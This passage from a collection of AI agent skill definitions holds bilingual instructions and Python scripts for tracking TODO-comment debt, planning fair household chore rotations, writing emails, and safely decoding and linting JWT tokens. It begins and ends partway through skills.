print(json.dumps({"summary": summary(res), "tests": res}, indent=2))
else:
print(render_table(res))
print("\nSummary:", ", ".join(f"{k}={v}" for k, v in sorted(summary(res).items())))
return 1 if any(v["classification"].startswith("flaky") for v in res.values()) else 0
if __name__ == "__main__":
sys.exit(main())扫描代码中的 TODO/FIXME/HACK/XXX，提取负责人、工单与到期日，输出债务清单。
---
name: todo-comment-debt-tracker
description: 扫描代码中的 TODO/FIXME/HACK/XXX，提取负责人、工单与到期日，输出债务清单。
---
# TODO 注释债务追踪器
你是「TODO 注释债务追踪器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# TODO Comment Debt Tracker
You help teams turn scattered TODO, FIXME, HACK, and XXX comments into a short, owned, prioritized debt list. You scan the code, parse who owns each item, which ticket tracks it, and when it is due, then highlight the ones that are risky or forgotten. You never delete or rewrite comments on your own; you propose changes and let the team decide.
## Files in this skill
- `scripts/todo_debt.py` - scans files or directories, parses owner/ticket/due date, scores each item, and prints a markdown table or JSON (Python 3 standard library only)
- `references/comment-conventions.md` - a recommended TODO format and how to adopt it without churn
- `references/triage-rules.md` - how to decide fix now, ticket, or delete
- `templates/debt-report.md` - report for a sprint review, release checklist, or PR comment
- `examples/sample_service.py` - a small file with typical good and bad TODOs for demos
## Workflow
### 1. Scope the scan
Ask which directories matter and what to skip (generated code, vendored libraries, fixtures). The script already skips `.git`, `node_modules`, `vendor`, `dist`, `build`, virtualenvs, and `target`.
### 2. Run the scanner
```
python3 scripts/todo_debt.py src/ --today 2026-10-18
python3 scripts/todo_debt.py src/ tests/ --ext .py,.ts --json > todo-debt.json
python3 scripts/todo_debt.py examples/sample_service.py --strict
python3 scripts/todo_debt.py --self-test
```
Exit code 1 when an item is overdue or a FIXME/HACK/XXX has no ticket (`--strict`: any problem). Use it as a soft CI gate or a weekly report job.
### 3. Read the problems
- **overdue**: due date passed. Highest priority.
- **no_ticket**: nothing tracks the work; it will be forgotten.
- **stale_hack**: a HACK or XXX with no ticket, often a workaround that outlived its reason.
- **no_owner**: nobody is responsible.
- **vague**: fewer than three words, such as "TODO: fix".
Scores: FIXME/HACK/XXX start at 3, TODO at 1; +2 if overdue, +1 if no ticket.
### 4. Triage with the team
Apply `references/triage-rules.md`: fix now if it is under 30 minutes, create a ticket and add its id if it is real work, delete it if it is obsolete. Use `git blame` on the line to find a likely owner when none is written.
### 5. Report
Fill `templates/debt-report.md` with the top items, totals by marker and owner, and agreed actions. Suggest the convention in `references/comment-conventions.md` for new comments.
## Rules
- Do not count markers inside string literals or plain prose; only comments.
- Never invent ticket numbers or owners; mark them unknown and suggest how to find them.
- Do not remove comments in bulk without review; propose a patch instead.
- Respect generated and vendored code: report it separately or skip it.
FILE:references/comment-conventions.md
# Recommended TODO convention
```
# TODO(owner, TICKET-123, 2026-12-01): what needs to happen and why
```
- **owner**: a username or team handle (`alice`, `@payments-team`). One name, the person who will make the call.
- **ticket**: `#123`, `PROJ-123`, or a full issue URL. Required for FIXME, HACK, and XXX.
- **due date**: ISO `YYYY-MM-DD`, optional for TODO, recommended for HACK workarounds.
- **text**: an action plus the reason, at least a short sentence. "TODO: fix" is not useful.
## Which marker to use
| Marker | Meaning | Ticket required? |
|---|---|---|
| TODO | Planned improvement, not wrong today | Recommended |
| FIXME | Known bug or incorrect behavior | Yes |
| HACK | Deliberate workaround that should be removed | Yes, plus a due date |
| XXX | Danger, surprising code, review needed | Yes |
## Adopting without churn
1. Run the scanner and publish the report; do not mass-edit.
2. Apply the convention to new comments via code review or a lint rule.
3. Fix old comments when you touch that code anyway.
4. Revisit the totals monthly; aim for "no overdue, no untracked FIXME".
FILE:references/triage-rules.md
# Triage rules
For each item, ask in order:
1. **Is it still true?** Read the surrounding code and `git log -L` for the lines. If the issue is gone, delete the comment.
2. **Is it under 30 minutes?** Fix it now in a small PR that removes the comment.
3. **Is it a bug or a risk?** (FIXME/XXX, security, data loss, money) Create a ticket with priority, add the ticket id to the comment, and assign an owner.
4. **Is it a workaround?** (HACK) Write down the condition that allows removal ("remove after vendor SDK 5.x") and a due date.
5. **Is it a wish?** If nobody would schedule it in the next two quarters, delete it or move it to a backlog ticket.
## Priority hints
- Overdue items first, then FIXME/HACK/XXX without tickets, then unowned items in hot files (high churn).
- Items in auth, payments, data migrations, or concurrency code deserve a closer look regardless of score.
## Finding an owner
- `git blame -L <line>,<line> <file>` shows who added it; that person or their team is the default owner.
- CODEOWNERS files map paths to teams.
- If the author has left, assign to the current maintainer of the module.
FILE:templates/debt-report.md
# TODO Debt Report
**Repository:** <name> **Scanned:** <paths> **Date:** <YYYY-MM-DD>
## Totals
| Marker | Count | Overdue | No ticket | No owner |
|---|---|---|---|---|
| TODO | | | | |
| FIXME | | | | |
| HACK | | | | |
| XXX | | | | |
## Top 10 by score
| Score | Location | Marker | Owner | Ticket | Due | Problems | Proposed action |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## By owner
| Owner | Items | Overdue |
|---|---|---|
## Agreed actions
- [ ] Fix now:
- [ ] Ticket created:
- [ ] Delete (obsolete):
## Convention reminder
`# TODO(owner, TICKET-123, YYYY-MM-DD): action and reason`
FILE:examples/sample_service.py
"""Sample order service with typical TODO comments for demos of todo_debt.py."""
import json
TAX_RATE = 0.2 # XXX(PAY-311): confirm tax rate per region with finance
def load_orders(path):
# TODO(maria, 2026-03-01): switch to streaming parser once files exceed 50 MB (#88)
with open(path, encoding="utf-8") as fh:
return json.load(fh)
def total(order):
# FIXME: returns wrong total when a discount exceeds the subtotal
subtotal = sum(item["price"] * item["qty"] for item in order["items"])
discount = order.get("discount", 0)
return round((subtotal - discount) * (1 + TAX_RATE), 2)
def notify(order):
# HACK [2026-11-30] skip emails for test accounts until the staging mail stub is fixed
if order.get("email", "").endswith("@test.local"):
return False
# TODO: retry
return True
def label(order):
note = "TODO: this string is not a comment and should be ignored"
# TODO(@ken, OPS-19): move label printing to the warehouse service
return f"{order['id']} {note[:0]}"
FILE:scripts/todo_debt.py
#!/usr/bin/env python3
"""Scan source files for TODO/FIXME/HACK/XXX comments and grade them (Python 3 standard library only).
Recognized forms (marker must follow a comment token: # // /* * -- ; <!--):
# TODO: plain note
// TODO(alice): owner
# FIXME(#123): issue number # TODO(PROJ-42) ticket key # TODO(https://...) link
# TODO(bob, 2026-12-01): owner + due date # HACK [2026-11-15] due date in brackets
Problems flagged per item:
no_owner, no_ticket, overdue (due date before --today), stale_hack (HACK/XXX without ticket),
vague (fewer than 3 words of text)
Exit code: 1 if any item is overdue or a FIXME/HACK/XXX has no ticket (with --strict: any problem).
"""
import argparse
import datetime as dt
import json
import os
import re
import sys
MARKERS = ("TODO", "FIXME", "HACK", "XXX")
SEVERITY = {"FIXME": 3, "HACK": 3, "XXX": 3, "TODO": 1}
COMMENT_RE = re.compile(
r"(?:#|//|/\*|(?:^|\s)\*|--|;|<!--)\s*(?P<marker>TODO|FIXME|HACK|XXX)\b"
r"(?:\s*\((?P<paren>[^)]*)\))?(?:\s*\[(?P<bracket>[^\]]*)\])?\s*:?\s*(?P<text>.*)$")
DATE_RE = re.compile(r"\b(\d{4}-\d{2}-\d{2})\b")
TICKET_RE = re.compile(r"(#\d+\b|\b[A-Z][A-Z0-9]+-\d+\b|https?://\S+)")
OWNER_RE = re.compile(r"^@?([A-Za-z][\w.-]*)$")
DEFAULT_EXT = {".py", ".js", ".ts", ".tsx", ".jsx", ".go", ".rs", ".java", ".kt", ".c", ".h", ".cpp",
".cs", ".rb", ".php", ".swift", ".sh", ".sql", ".yaml", ".yml", ".toml", ".css", ".scss",
".html", ".vue", ".lua"}
SKIP_DIRS = {".git", "node_modules", "vendor", "dist", "build", ".venv", "venv", "__pycache__", "target"}
def parse_line(line, path="<text>", lineno=0, today=None):
m = COMMENT_RE.search(line)
if not m:
return None
marker = m.group("marker")
meta = ",".join(x for x in (m.group("paren"), m.group("bracket")) if x)
text = (m.group("text") or "").strip().rstrip("*/").rstrip("-->").strip()
owner = None
ticket = None
due = None
for part in [p.strip() for p in meta.split(",") if p.strip()]:
if DATE_RE.fullmatch(part.replace("by ", "").replace("until ", "").strip()):
due = DATE_RE.search(part).group(1)
elif TICKET_RE.fullmatch(part):
ticket = part
elif OWNER_RE.fullmatch(part) and owner is None:
owner = OWNER_RE.fullmatch(part).group(1)
if ticket is None:
t = TICKET_RE.search(text)
if t:
ticket = t.group(1)
if due is None:
d = re.search(r"\b(?:by|until|before|due)\s+(\d{4}-\d{2}-\d{2})\b", text)
if d:
due = d.group(1)
problems = []
if not owner:
problems.append("no_owner")
if not ticket:
problems.append("no_ticket")
if marker in ("HACK", "XXX"):
problems.append("stale_hack")
if due and today:
try:
if dt.date.fromisoformat(due) < today:
problems.append("overdue")
except ValueError:
problems.append("bad_date")
if len(re.findall(r"[A-Za-z]{2,}", text)) < 3:
problems.append("vague")
return {"file": path, "line": lineno, "marker": marker, "owner": owner, "ticket": ticket,
"due": due, "text": text, "problems": problems,
"score": SEVERITY[marker] + 2 * ("overdue" in problems) + ("no_ticket" in problems)}
def scan_text(text, path="<text>", today=None):
items = []
for i, line in enumerate(text.splitlines(), 1):
it = parse_line(line, path, i, today)
if it:
items.append(it)
return items
def iter_files(root, exts):
if os.path.isfile(root):
yield root
return
for dirpath, dirnames, filenames in os.walk(root):
dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS)
for fn in sorted(filenames):
if os.path.splitext(fn)[1].lower() in exts:
yield os.path.join(dirpath, fn)
def is_blocking(item, strict=False):
if strict:
return bool(item["problems"])
return "overdue" in item["problems"] or (item["marker"] != "TODO" and "no_ticket" in item["problems"])
def summarize(items):
s = {"total": len(items), "by_marker": {}, "by_owner": {}, "problems": {}}
for it in items:
s["by_marker"][it["marker"]] = s["by_marker"].get(it["marker"], 0) + 1
o = it["owner"] or "(unowned)"
s["by_owner"][o] = s["by_owner"].get(o, 0) + 1
for p in it["problems"]:
s["problems"][p] = s["problems"].get(p, 0) + 1
return s
def render(items):
out = ["| Score | Marker | Location | Owner | Ticket | Due | Problems | Text |", "|---|---|---|---|---|---|---|---|"]
for it in sorted(items, key=lambda x: (-x["score"], x["file"], x["line"])):
out.append(f"| {it['score']} | {it['marker']} | {it['file']}:{it['line']} | {it['owner'] or '-'} | "
f"{it['ticket'] or '-'} | {it['due'] or '-'} | {', '.join(it['problems']) or 'ok'} | {it['text'][:60]} |")
return "\n".join(out)
SAMPLE = '''import os
# TODO(alice, 2026-01-15): remove legacy CSV export after #412 ships
def f():
pass # FIXME: crashes when list is empty
// HACK [2026-12-31] skip auth in local dev
/* XXX(PROJ-77): double-check rounding with finance */
-- TODO(@bob): add index
x = "TODO: this is a string, not a comment"
<!-- TODO(carol): https://example.com/issues/9 replace hero image -->
* TODO update docs by 2025-05-01
# todo lowercase is ignored
'''
def self_test():
today = dt.date(2026, 10, 18)
items = scan_text(SAMPLE, "sample", today)
by_line = {it["line"]: it for it in items}
cases = [
("count", len(items), 7),
("owner_parsed", by_line[2]["owner"], "alice"),
("due_parsed", by_line[2]["due"], "2026-01-15"),
("overdue_flag", "overdue" in by_line[2]["problems"], True),
("ticket_from_text", by_line[2]["ticket"], "#412"),
("fixme_no_ticket", by_line[4]["problems"][:2], ["no_owner", "no_ticket"]),
("fixme_blocking", is_blocking(by_line[4]), True),
("hack_bracket_due_future", "overdue" in by_line[5]["problems"], False),
("hack_stale", "stale_hack" in by_line[5]["problems"], True),
("xxx_ticket_key", by_line[6]["ticket"], "PROJ-77"),
("at_owner", by_line[7]["owner"], "bob"),
("vague_short", "vague" in by_line[7]["problems"], True),
("string_not_comment", 8 in by_line, False),
("html_comment_link", by_line[9]["ticket"], "https://example.com/issues/9"),
("star_comment_due_text", by_line[10]["due"], "2025-05-01"),
("lowercase_ignored", 11 in by_line, False),
("todo_not_blocking_default", is_blocking(by_line[7]), False),
("todo_blocking_strict", is_blocking(by_line[7], strict=True), True),
("summary_markers", summarize(items)["by_marker"], {"TODO": 4, "FIXME": 1, "HACK": 1, "XXX": 1}),
("score_overdue_todo", by_line[2]["score"], 3),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Find and grade TODO/FIXME/HACK/XXX comments.")
p.add_argument("paths", nargs="*", default=[], help="files or directories to scan")
p.add_argument("--today", help="YYYY-MM-DD for overdue checks (default: today)")
p.add_argument("--ext", help="comma-separated extensions to include, e.g. .py,.ts")
p.add_argument("--json", action="store_true")
p.add_argument("--strict", action="store_true", help="exit 1 on any problem")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.paths:
p.error("give files/directories to scan, or --self-test")
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
exts = {e if e.startswith(".") else "." + e for e in a.ext.split(",")} if a.ext else DEFAULT_EXT
items = []
for root in a.paths:
for path in iter_files(root, exts):
try:
with open(path, encoding="utf-8", errors="replace") as fh:
items += scan_text(fh.read(), path, today)
except OSError as e:
print(f"warn: {path}: {e}", file=sys.stderr)
if a.json:
print(json.dumps({"summary": summarize(items), "items": items}, indent=2))
else:
print(render(items))
s = summarize(items)
print(f"\nTotal {s['total']}; markers {s['by_marker']}; problems {s['problems']}")
return 1 if any(is_blocking(it, a.strict) for it in items) else 0
if __name__ == "__main__":
sys.exit(main())规划家庭家务轮值表。
---
name: household-chore-rotation-planner
description: 规划家庭家务轮值表。
---
# 家庭家务轮值规划器
你是「家庭家务轮值规划器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。
# Household Chore Rotation Planner
You help households (roommates, couples, families with kids) split chores fairly and rotate them so nobody is stuck with the worst jobs forever. You measure fairness in minutes, not in number of tasks, adjust for each person's capacity, respect real limits (age, allergies, health, skills), and produce a schedule people can stick on the fridge. You stay neutral and kind; you never take sides in a household argument.
## Files in this skill
- `scripts/chore_rotation.py` - builds a multi-week rotation from a JSON list of people and chores and reports minutes vs fair target per person (Python 3 standard library only)
- `references/chore-time-estimates.md` - typical minutes for common chores to use as defaults
- `references/fairness-and-agreements.md` - how to set shares, handle swaps, and run a short house meeting
- `templates/rotation-chart.md` - printable weekly chart plus a house agreement section
- `examples/household.json` - four-person sample household with constraints
## Workflow
### 1. Gather the household
Ask for:
- People and their capacity: full share (1.0), reduced share (for example 0.5 for a young child or someone working night shifts), or larger share by agreement
- Hard limits: chores someone cannot do (`cannot`), or chores only certain people can do (`only`, for example cooking or driving)
- Chores with realistic minutes per session and times per week; use `references/chore-time-estimates.md` when unsure
- How many weeks to plan (4 is a good default) and any preferences ("I would rather cook than clean the bathroom")
### 2. Build the input and run the planner
```
python3 scripts/chore_rotation.py examples/household.json
python3 scripts/chore_rotation.py my-house.json --weeks 6 --json
python3 scripts/chore_rotation.py --self-test
```
Exit code 1 means a chore has no eligible person (fix the `cannot`/`only` lists); 2 means bad input.
### 3. Check fairness
Read the "Overall fairness" table. Within about 10% of target is good. If someone is far off, adjust minutes, split a big chore (for example "Laundry - wash" and "Laundry - fold"), or change shares by agreement, then rerun.
### 4. Apply preferences
The planner balances minutes; it does not know who hates what. Offer swaps of similar minutes between people, and keep the totals close. If a heavy chore lands on the same person every week because of constraints, say so and suggest splitting it.
### 5. Deliver
Fill `templates/rotation-chart.md` with the weekly tables, a short house agreement (swap rules, what "done" means, a monthly check-in), and a friendly group message under 80 words announcing the plan.
## Rules
- Fairness is measured in minutes weighted by agreed shares, not task counts.
- Never assign unsafe chores to children (sharp tools, strong chemicals, ladders, hot ovens without supervision).
- Keep the tone neutral; describe loads with numbers, not blame.
- Invisible work counts: planning meals, booking repairs, and buying supplies can be added as chores with minutes.
FILE:references/chore-time-estimates.md
# Typical chore times (defaults, adjust to your home)
| Chore | Minutes per session | Common frequency |
|---|---|---|
| Dishes / load and unload dishwasher | 15-25 | daily |
| Cook dinner | 30-60 | 3-7 per week |
| Meal planning and grocery list | 20-30 | weekly |
| Grocery run | 45-75 | weekly |
| Laundry (wash, dry, fold, put away) | 40-60 per load | 2-4 loads per week |
| Bathroom clean (sink, toilet, shower, floor) | 30-45 | weekly |
| Kitchen deep clean (counters, stovetop, fridge wipe) | 30-40 | weekly |
| Vacuum and mop | 30-45 | 1-2 per week |
| Dusting | 15-20 | weekly |
| Trash and recycling out | 5-10 | 2-3 per week |
| Change bed linens | 15 per bed | every 1-2 weeks |
| Water plants | 5-15 | 2 per week |
| Pet feeding | 5 | daily, often twice |
| Litter box / pet cleanup | 5 | daily |
| Dog walk | 20-30 | 1-3 per day |
| Mow lawn | 40-60 | weekly in season |
| Clean oven | 30-45 | monthly |
| Pay bills and admin | 20-30 | weekly |
Tips
- Time one session with a phone timer if people disagree about how long a chore takes.
- Split chores that are both long and unpopular so they can rotate more easily.
- Seasonal chores (snow shoveling, gutters) can be added only for the weeks they apply.
FILE:references/fairness-and-agreements.md
# Fairness and house agreements
## Setting shares
- Start everyone at 1.0. Lower shares only by explicit agreement (age, health, very long work hours, exams).
- Children: roughly 0.25-0.5 with age-appropriate chores only.
- Someone who pays more rent or does more invisible work may get a lower chore share; write it down.
## What "done" means
Agree on a one-line definition per chore, for example "Dishes: sink empty, counters wiped, dishwasher running".
## Swaps
- Swaps are fine if both people agree and minutes are similar.
- Post swaps in the group chat so nobody is surprised.
- A missed chore is made up within 48 hours or swapped, not silently skipped.
## 15-minute monthly check-in
1. Each person: one thing working, one thing not (2 minutes each).
2. Look at the fairness table; adjust minutes or shares if reality changed.
3. Decide on one improvement for next month.
4. Regenerate the rotation.
## Handling conflict
- Talk about the system, not the person ("Bathroom keeps slipping on Thursdays" instead of "You never clean").
- If one person carries far more invisible work, add it to the chore list with minutes.
FILE:templates/rotation-chart.md
# Chore Rotation - <household name>
**Period:** <start date> to <end date> **People:** <names and shares>
## Week 1 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Week 2 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Fairness (minutes)
| Person | Share | Minutes | Target | Deviation |
|---|---|---|---|---|
## House agreement
- "Done" means:
- Swap rule:
- Missed chore rule:
- Monthly check-in date:
## Group message
> Hi all! New chore rotation for <period> is on the fridge and pinned here. Loads are balanced by time. Swaps are fine, just post them. Check-in on <date>.
FILE:examples/household.json
{
"weeks": 4,
"people": [
{"name": "Leyla", "share": 1.0},
{"name": "Tom", "share": 1.0, "cannot": ["Litter box"]},
{"name": "Deniz", "share": 0.5, "cannot": ["Clean oven", "Mow lawn"]},
{"name": "Sam", "share": 0.75}
],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Cook dinner", "minutes": 45, "times_per_week": 3, "only": ["Leyla", "Tom", "Sam"]},
{"name": "Laundry", "minutes": 40, "times_per_week": 2},
{"name": "Bathroom clean", "minutes": 40, "times_per_week": 1},
{"name": "Vacuum and mop", "minutes": 35, "times_per_week": 2},
{"name": "Trash and recycling", "minutes": 10, "times_per_week": 3},
{"name": "Grocery run", "minutes": 60, "times_per_week": 1},
{"name": "Litter box", "minutes": 5, "times_per_week": 7},
{"name": "Water plants", "minutes": 10, "times_per_week": 2},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Clean oven", "minutes": 30, "times_per_week": 1}
]
}
FILE:scripts/chore_rotation.py
#!/usr/bin/env python3
"""Fair household chore rotation planner (Python 3 standard library only).
Input JSON:
{
"weeks": 4,
"people": [{"name": "Ana", "share": 1.0, "cannot": ["Mow lawn"]}, ...],
"chores": [{"name": "Dishes", "minutes": 20, "times_per_week": 7, "only": ["Ana", "Ben"]}, ...]
}
share: relative capacity (1.0 = normal; 0.5 = half load, e.g. a child or someone with long shifts)
cannot / only: hard constraints (allergies, age, physical limits, skills)
Algorithm per week: chores sorted by weekly minutes (largest first) go to the eligible person with the
lowest (load / share); ties are broken in favor of someone who did NOT have that chore last week,
so chores rotate. Reports per-person minutes, target minutes, and deviation.
Exit code: 0 OK, 1 if a chore has no eligible person, 2 on bad input.
"""
import argparse
import json
import sys
class PlanError(ValueError):
pass
def validate(data):
people = data.get("people") or []
chores = data.get("chores") or []
if not people:
raise PlanError("need at least one person")
if not chores:
raise PlanError("need at least one chore")
names = [p["name"] for p in people]
if len(set(names)) != len(names):
raise PlanError("duplicate person names")
for p in people:
if float(p.get("share", 1.0)) <= 0:
raise PlanError(f"share must be > 0 for {p['name']}")
for c in chores:
if float(c.get("minutes", 0)) <= 0 or float(c.get("times_per_week", 1)) <= 0:
raise PlanError(f"minutes and times_per_week must be > 0 for {c.get('name')}")
for n in c.get("only", []):
if n not in names:
raise PlanError(f"chore {c['name']} lists unknown person {n}")
return people, chores
def weekly_minutes(chore):
return float(chore["minutes"]) * float(chore.get("times_per_week", 1))
def eligible(person, chore):
if chore.get("only") and person["name"] not in chore["only"]:
return False
return chore["name"] not in person.get("cannot", [])
def plan_week(people, chores, last_week=None):
"""Return (assignment {chore: person}, loads {person: minutes}, unassigned [chore])."""
last_week = last_week or {}
loads = {p["name"]: 0.0 for p in people}
assignment = {}
unassigned = []
order = sorted(chores, key=lambda c: (-weekly_minutes(c), c["name"]))
for c in order:
cands = [p for p in people if eligible(p, c)]
if not cands:
unassigned.append(c["name"])
continue
w = weekly_minutes(c)
def key(p):
share = float(p.get("share", 1.0))
after = (loads[p["name"]] + w) / share
repeat = 1 if last_week.get(c["name"]) == p["name"] else 0
return (round(after, 6), repeat, p["name"])
# prefer rotation when loads are close: compare within a 10% band of the best option
ranked = sorted(cands, key=key)
best = key(ranked[0])[0]
band = [p for p in ranked if key(p)[0] <= best * 1.10 + 1e-9]
band.sort(key=lambda p: (key(p)[1], key(p)[0], p["name"]))
chosen = band[0]
assignment[c["name"]] = chosen["name"]
loads[chosen["name"]] += w
return assignment, loads, unassigned
def fairness(people, loads):
total = sum(loads.values())
total_share = sum(float(p.get("share", 1.0)) for p in people)
rows = []
for p in people:
target = total * float(p.get("share", 1.0)) / total_share
got = loads[p["name"]]
dev = (got - target) / target * 100 if target else 0.0
rows.append({"name": p["name"], "minutes": round(got, 1), "target": round(target, 1),
"deviation_pct": round(dev, 1)})
return rows
def plan(data):
people, chores = validate(data)
weeks = int(data.get("weeks", 4))
result = []
cumulative = {p["name"]: 0.0 for p in people}
last = None
for wk in range(1, weeks + 1):
assignment, loads, unassigned = plan_week(people, chores, last)
for k, v in loads.items():
cumulative[k] += v
result.append({"week": wk, "assignment": assignment, "fairness": fairness(people, loads),
"unassigned": unassigned})
last = assignment
return {"weeks": result, "overall": fairness(people, cumulative)}
def render(res):
out = []
for w in res["weeks"]:
out.append(f"## Week {w['week']}")
out.append("| Chore | Who |")
out.append("|---|---|")
for chore, who in sorted(w["assignment"].items()):
out.append(f"| {chore} | {who} |")
for u in w["unassigned"]:
out.append(f"| {u} | UNASSIGNED (no eligible person) |")
out.append("")
out.append("## Overall fairness (minutes across all weeks)")
out.append("| Person | Minutes | Target | Deviation |")
out.append("|---|---|---|---|")
for r in res["overall"]:
out.append(f"| {r['name']} | {r['minutes']} | {r['target']} | {r['deviation_pct']:+.1f}% |")
return "\n".join(out)
def self_test():
base = {
"weeks": 4,
"people": [{"name": "Ana"}, {"name": "Ben"}, {"name": "Cem", "share": 0.5, "cannot": ["Mow lawn"]}],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Laundry", "minutes": 60, "times_per_week": 2},
{"name": "Bathroom", "minutes": 45, "times_per_week": 1},
{"name": "Vacuum", "minutes": 30, "times_per_week": 2},
{"name": "Trash", "minutes": 5, "times_per_week": 3},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Feed cat", "minutes": 5, "times_per_week": 14, "only": ["Cem", "Ana"]},
],
}
res = plan(base)
w1 = res["weeks"][0]["assignment"]
lawn_never_cem = all(w["assignment"]["Mow lawn"] != "Cem" for w in res["weeks"])
cat_ok = all(w["assignment"]["Feed cat"] in ("Cem", "Ana") for w in res["weeks"])
dishes_people = {w["assignment"]["Dishes"] for w in res["weeks"]}
overall = {r["name"]: r for r in res["overall"]}
max_dev = max(abs(r["deviation_pct"]) for r in res["overall"])
two = plan({"weeks": 2, "people": [{"name": "A"}, {"name": "B"}],
"chores": [{"name": "X", "minutes": 10}, {"name": "Y", "minutes": 10}]})
rotated = two["weeks"][0]["assignment"]["X"] != two["weeks"][1]["assignment"]["X"]
orphan = plan({"weeks": 1, "people": [{"name": "A", "cannot": ["Z"]}], "chores": [{"name": "Z", "minutes": 5}]})
errors = []
for bad in ({"people": [], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}, {"name": "A"}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A", "share": 0}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 0}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 1, "only": ["Q"]}]}):
try:
plan(bad)
errors.append(False)
except PlanError:
errors.append(True)
cases = [
("all_chores_assigned_w1", len(w1), 7),
("weekly_minutes", weekly_minutes(base["chores"][0]), 140.0),
("cannot_respected", lawn_never_cem, True),
("only_respected", cat_ok, True),
("dishes_rotate", len(dishes_people) >= 2, True),
("half_share_lower_load", overall["Cem"]["minutes"] < overall["Ana"]["minutes"], True),
("overall_fair_within_25pct", max_dev <= 25.0, True),
("targets_sum_to_total", round(sum(r["target"] for r in res["overall"]), 0) == round(sum(r["minutes"] for r in res["overall"]), 0), True),
("equal_tie_rotates", rotated, True),
("orphan_reported", orphan["weeks"][0]["unassigned"], ["Z"]),
("bad_inputs_rejected", errors, [True] * 5),
("render_has_header", render(res).startswith("## Week 1"), True),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Plan a fair, rotating household chore schedule.")
p.add_argument("input", nargs="?", help="JSON file with weeks, people, chores")
p.add_argument("--weeks", type=int, help="override number of weeks")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.input:
p.error("give an input JSON file, or --self-test")
try:
with open(a.input, encoding="utf-8") as fh:
data = json.load(fh)
if a.weeks:
data["weeks"] = a.weeks
res = plan(data)
except (OSError, json.JSONDecodeError, PlanError, KeyError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else render(res))
return 1 if any(w["unassigned"] for w in res["weeks"]) else 0
if __name__ == "__main__":
sys.exit(main())撰写专业多语言邮件。
--- name: professional-multilingual-email-writer description: 撰写专业多语言邮件。 --- # 专业多语言邮件写作者 你是「专业多语言邮件写作者」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。 Act as an expert in professional email writing across all major world languages. - Draft and refine emails with a precise subject, elegant introduction, coherent body, and polished conclusion, using flawless grammar, natural phrasing, professional terminology, and culturally appropriate formal or diplomatic language. - Adapt emails to the recipient and context, transform brief notes into ready-to-send messages, preserve original meaning and facts, avoid repetition and literal translations, and never invent information. --- # My Skill Describe what this skill does and how the agent should use it. ## Instructions - Step 1: ... - Step 2: ...
在不信任签名的前提下解码 JWT，并检查 header/claims：alg none、远程 jku/x5u、敏感声明等风险。
---
name: jwt-token-inspector
description: 在不信任签名的前提下解码 JWT，并检查 header/claims：alg none、远程 jku/x5u、敏感声明等风险。
---
# JWT Token 检查器
你是「JWT Token 检查器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# JWT Token Inspector
You help developers understand and debug JSON Web Tokens safely. You decode the header and payload, translate timestamps into readable UTC times, explain what each claim means, and flag settings that make the token unsafe, unusable, or likely to break in production. You treat every token as untrusted: decoding is not verification, and you say so.
## Files in this skill
- `scripts/jwt_inspect.py` - decodes a JWS compact token, lints header and claims, optionally verifies HS256/HS384/HS512 with a secret, prints markdown or JSON (Python 3 standard library only)
- `references/claims-and-validation.md` - registered claims, what a verifier must check, and in which order
- `references/common-jwt-pitfalls.md` - the mistakes behind most JWT bugs and incidents, with fixes
- `templates/jwt-review.md` - a short report for a bug ticket, PR review, or security review
- `examples/sample-tokens.md` - three demo tokens (long-lived, alg none, remote jku with millisecond exp) and expected findings
## Workflow
### 1. Handle the token safely
Ask for a token from a test or staging environment. If the user pastes a live production token, warn them that it grants access until it expires and suggest rotating it after the session. Never repeat the full token or signature back in your answer.
### 2. Run the inspector
```
python3 scripts/jwt_inspect.py "<token>"
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --leeway 60
python3 scripts/jwt_inspect.py "<token>" --expect-iss https://auth.example.com --expect-aud api://orders
JWT_SECRET=... python3 scripts/jwt_inspect.py "<token>" --secret-env JWT_SECRET
python3 scripts/jwt_inspect.py --self-test
```
A `Bearer ` prefix is stripped. Use `-` to read the token from stdin. Exit code 1 means at least one high finding (`--strict`: any finding); 2 means the token could not be decoded.
### 3. Explain the result
- Show the decoded header and claims and the exp/nbf/iat times in UTC and in the user's time zone.
- Group findings by severity: **high** (unsafe or rejected: alg none, empty signature, expired, not yet valid, iss/aud mismatch, remote or embedded keys, bad signature, millisecond timestamps), **medium** (no exp, lifetime over policy, sensitive claims, weak HMAC secret, iat in the future), **low** (missing iss, aud, sub, or kid).
